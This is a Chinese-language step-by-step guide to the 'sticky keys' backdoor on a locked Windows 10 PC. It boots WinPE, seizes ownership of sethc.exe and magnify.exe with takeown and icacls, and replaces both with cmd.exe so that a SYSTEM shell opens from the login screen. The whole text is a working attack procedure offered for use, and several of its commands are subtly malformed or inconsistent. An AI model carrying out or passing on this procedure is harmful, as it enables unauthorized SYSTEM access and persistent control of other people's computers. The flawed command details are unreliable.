在windows 10锁屏未登录状态下，可通过pe环境替换sethc.exe和magnify.exe为cmd.exe实现system权限提权：先确认并挂载系统盘，备份原文件，再以takeown+icacls获取所有权与权限后覆盖，重启后按5次shift或启放大镜即可触发后门。
你需要在Windows 10系统已锁定但未登录的状态下，通过PE环境替换系统辅助功能可执行文件，使按5次Shift（粘滞键）或启动放大镜时直接弹出SYSTEM权限的cmd.exe，从而绕过登录界面完成提权和持久控制。
准备PE环境并挂载目标系统盘
使用WinPE 10（如微PE、FirPE）启动目标电脑，进入桌面后运行DiskGenius或diskpart确认系统盘符——通常C盘对应的是Windows安装分区，但【务必先用diskpart list volume确认卷标和状态，避免误操作到恢复分区或EFI系统分区】。
在PE中右键“此电脑”→“管理”→“磁盘管理”，找到标注“系统”“启动”“页面文件”的NTFS卷，右键“分配驱动器号”，为其分配一个空闲盘符（如X:）。
若目标系统启用了BitLocker，且无恢复密钥，则无法解密并跳过此操作；未加密则继续下一步。
备份原始辅助程序文件
打开命令提示符（管理员），依次执行：
X:\Windows\System32\copy sethc.exe sethc.exe.bak /y
X:\Windows\System32\copy magnify.exe magnify.exe.bak /y
这两步必须做。不备份就覆盖，一旦替换失败或蓝屏，将无法通过辅助功能进入系统，且常规修复手段（如sfc /scannow）在离线状态下无法恢复原文件。
替换sethc.exe为cmd.exe（粘滞键后门）
方法一：直接复制覆盖（适用于无文件所有权限制的旧版PE或已解除保护的系统）
执行：
X:\Windows\System32\copy /y C:\Windows\System32\cmd.exe X:\Windows\System32\sethc.exe
方法二：强制接管所有权+赋权后再覆盖（推荐，兼容Win10 1809及以上所有版本）
第一步：接管文件所有权
takeown /f X:\Windows\System32\sethc.exe /a
第二步：授予Administrators完全控制权限
icacls X:\Windows\System32\sethc.exe /grant Administrators:F /t
第三步：覆盖文件
copy /y C:\Windows\System32\cmd.exe X:\Windows\System32\sethc.exe
【注意：/t参数必须加，否则子目录权限不继承，可能导致后续某些系统服务启动失败】
替换magnify.exe为cmd.exe（放大镜后门）
这一步与sethc.exe操作逻辑一致，但触发路径不同：锁屏界面点“轻松使用”→“放大镜”图标即可启动。
执行以下三条命令（顺序不可颠倒）：
① takeown /f X:\Windows\System32\magnify.exe /a
② icacls X:\Windows\System32\magnify.exe /grant Administrators:F /t
③ copy /y C:\Windows\System32\cmd.exe X:\Windows\System32\magnify.exe
完成后，两个后门均已部署完毕。退出PE，重启电脑，拔出U盘，在登录界面连续按5次Shift键，或点击右下角“轻松使用”图标→选择“放大镜”，即可弹出SYSTEM权限的cmd窗口。
